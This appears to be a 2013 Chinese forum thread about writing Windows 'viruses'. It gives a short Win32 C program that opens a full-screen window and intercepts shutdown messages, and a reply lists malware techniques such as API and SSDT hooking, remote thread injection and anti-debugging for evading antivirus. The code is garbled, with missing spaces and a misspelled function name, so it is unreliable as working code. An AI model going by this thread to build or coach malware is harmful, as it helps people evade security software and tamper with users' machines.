330218654吧 关注:1贴子:155
  • 5回复贴,共1

【生命编程】C或C++写病毒的一种原理

只看楼主收藏回复



来自Android客户端1楼2013-10-18 22:49回复
    沉默,去学学API吧,当你学完他以后,你就会发现,做坏事实在是太容易了,
    而做好一件事就.........看看下面代码吧,你学过了就很轻松写出来了.
    #include<windows.h>
    LRESULTCALLBACKWndProc(HWND,UINT,WPARAM,LPARAM);
    intWINAPIWinMain(HINSTANCEhInstance,HINSTANCEhPrevInstance,PSTRszCmdLine,intiCmdShow)
    {
    staticTCHARszAppName[]="god";
    MSGmsg;
    WNDCLASSwndclass;
    HWNDhwnd;
    wndclass.cbClsExtra=0;
    wndclass.cbWndExtra=0;
    wndclass.hbrBackground=NULL;
    wndclass.hCursor=NULL;
    wndclass.hIcon=NULL;
    wndclass.hInstance=hInstance;
    wndclass.lpfnWndProc=WndProc;
    wndclass.lpszClassName=szAppName;
    wndclass.lpszMenuName=NULL;
    RegisterClass(&wndclass);
    hwnd=CreateWindow(szAppName,"god",WS_OVERLAPPEDWINDOW,0,0,GetSystemMetrics(SM_CXSCREEN),
    GetSystemMetrics(SM_CYSCREEN),NULL,NULL,hInstance,NULL);
    while(GetMessage(&msg,NULL,0,0))
    {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
    }
    returnmsg.wParam;
    }
    LRESULTCALLBACKWndProc(HWNDhwnd,UINTmessage,WPARAMwParam,LPARAMlParam)
    {
    switch(message)
    {
    caseWM_QUERYENDSESSION:
    SendMessage(hwnd,WM_ENDSESSION,0,0);
    return0;
    }


    来自Android客户端2楼2013-10-18 22:49
    回复
      returnDefWindownProc(hwnd,message,wParam,lParam);
      }


      来自Android客户端3楼2013-10-18 22:50
      回复
        :神啊,救救我吧 为什么我打出来运行不了? 最后那一句有问题是吗?


        来自Android客户端4楼2013-10-18 22:50
        回复
          写个好的病毒是不容易的光API不行不要以为API很底层
          其实API已经经过两层封装了
          要想顽强的隐藏自身首先汇编要好反汇编更要好
          跟杀毒软件对抗一定要会写驱动
          杀毒软件都会用驱动挂接中断向量
          你用ring3的API是无法跟他对抗的


          来自Android客户端5楼2013-10-18 22:51
          回复
            写病毒的基本技术
            hookAPIhookSDDT远程线程+代码重定位(只有汇编可以实现)
            驱动级挂钩中断向量调试与反调试(改造别人的程序为我所用)
            看你对windows吃的多透了


            来自Android客户端6楼2013-10-18 22:51
            回复